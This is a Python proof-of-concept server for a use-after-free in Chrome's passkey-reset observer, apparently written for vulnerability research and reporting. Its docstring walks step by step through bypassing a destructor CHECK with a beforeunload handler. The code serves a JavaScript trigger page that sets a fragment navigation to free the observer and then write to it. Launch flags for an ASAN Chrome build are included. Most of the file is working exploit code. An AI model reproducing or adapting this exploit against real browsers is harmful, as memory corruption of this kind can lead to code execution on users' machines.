#!/usr/bin/env python3
"""
PoC server for PasskeyResetWebContentsObserver UAF.

Bypass for CHECK(!observers_.is_notifying_observers()) in ~WebContentsImpl():

  When CloseWindowAndDeleteSelf() calls web_contents->Close() while inside a
  DidFinishNavigation notification, Close() reaches ~WebContentsImpl() which
  has CHECK(!observers_.is_notifying_observers()).

  Bypass: register a beforeunload handler on the page BEFORE the navigation
  that fires MaybeRunCallback.  When Close() is called, UnloadController::
  RunUnloadEventsHelper() sees NeedToFireBeforeUnloadOrUnloadEvents()==true,
  calls DispatchBeforeUnload() (async), and returns true WITHOUT calling
  DetachTabImpl().  ~WebContentsImpl() is never reached.  delete this then
  runs synchronously, freeing PasskeyResetWebContentsObserver, and control
  returns to MaybeRunCallback which writes status_ = kNotStarted → UAF.

Trigger sequence (two navigations):
  1. Cross-document navigation to /embedded/passkeys/reset/done (no fragment).
     DidFinishNavigation fires, url.has_ref()==false → MaybeRunCallback("") →
     returns early.  Page loads fully; JS registers window.onbeforeunload and
     then executes location.hash = 'success'.
  2. Same-document fragment navigation → URL becomes /done#success.
     DidFinishNavigation fires again, MaybeRunCallback("success") triggers the
     UAF chain.  Close() is now safe to call because beforeunload defers it.

Run:
    python3 server.py

Then launch Chrome (ASAN build):
    ASAN_OPTIONS=halt_on_error=1:abort_on_error=1 \\
      ./out/asan/chrome \\
        --no-sandbox \\
        --gaia-url=http://localhost:8080 \\
        http://localhost:8080/
"""

import http.server
import urllib.parse

PORT = 8080

SUCCESS_PATH = "/embedded/passkeys/reset/done"
# Redirect to the BASE path (no fragment). The page itself will do the
# fragment change via JS after the beforeunload handler is registered.
REDIRECT_URL  = f"http://localhost:{PORT}{SUCCESS_PATH}"

TRIGGER_PAGE = """\
<!DOCTYPE html>
<html>
<head><title>Passkey Reset (PoC)</title></head>
<body>
<script>
// Step 1: register beforeunload so that Close() called inside
//         DidFinishNavigation is deferred by the unload controller.
//         NeedToFireBeforeUnloadOrUnloadEvents() returns true →
//         DispatchBeforeUnload() is async → DetachTabImpl() is skipped →
//         ~WebContentsImpl() CHECK(!observers_.is_notifying_observers())
//         is never reached.
window.onbeforeunload = function(e) { return 'x'; };

// Step 2: after the page has fully loaded (beforeunload registered),
//         trigger a same-document navigation to #success.
//         PasskeyResetWebContentsObserver::DidFinishNavigation sees:
//           url same-origin with kGpmPasskeyResetSuccessUrl  ✓
//           url.GetPath() == kGpmPasskeyResetSuccessUrl.GetPath()  ✓  → kSuccess
//           url.GetRef() == "success"  ✓  → MaybeRunCallback fires → UAF
window.onload = function() { location.hash = 'success'; };
</script>
</body>
</html>
"""


class Handler(http.server.BaseHTTPRequestHandler):
    def log_message(self, fmt, *args):
        print(f"[server] {self.path}  →  {fmt % args}")

    def do_GET(self):
        parsed = urllib.parse.urlparse(self.path)
        path   = parsed.path

        if path == "/" or path == "/poc" or path == "/poc.html":
            self._serve_poc()
        elif path == SUCCESS_PATH:
            # Serve the trigger page: registers beforeunload, then sets hash.
            self._ok(TRIGGER_PAGE)
        else:
            # Any other path (Gaia passkey-unlock URL, AccountChooser redirect,
            # etc.) — redirect to the base success path (NO fragment).
            # The page itself will add the fragment via JS after loading.
            self._redirect(REDIRECT_URL)

    def _redirect(self, url):
        self.send_response(302)
        self.send_header("Location", url)
        self.send_header("Content-Length", "0")
        self.end_headers()

    def _ok(self, body):
        data = body.encode()
        self.send_response(200)
        self.send_header("Content-Type", "text/html; charset=utf-8")
        self.send_header("Content-Length", str(len(data)))
        self.end_headers()
        self.wfile.write(data)

    def _serve_poc(self):
        with open("poc.html", "rb") as f:
            data = f.read()
        self.send_response(200)
        self.send_header("Content-Type", "text/html; charset=utf-8")
        self.send_header("Content-Length", str(len(data)))
        self.end_headers()
        self.wfile.write(data)


if __name__ == "__main__":
    import os
    os.chdir(os.path.dirname(os.path.abspath(__file__)))
    with http.server.HTTPServer(("", PORT), Handler) as httpd:
        print(f"Serving on http://localhost:{PORT}/")
        print(f"  poc:     http://localhost:{PORT}/")
        print(f"  trigger: {REDIRECT_URL}  (then JS sets #success)")
        httpd.serve_forever()
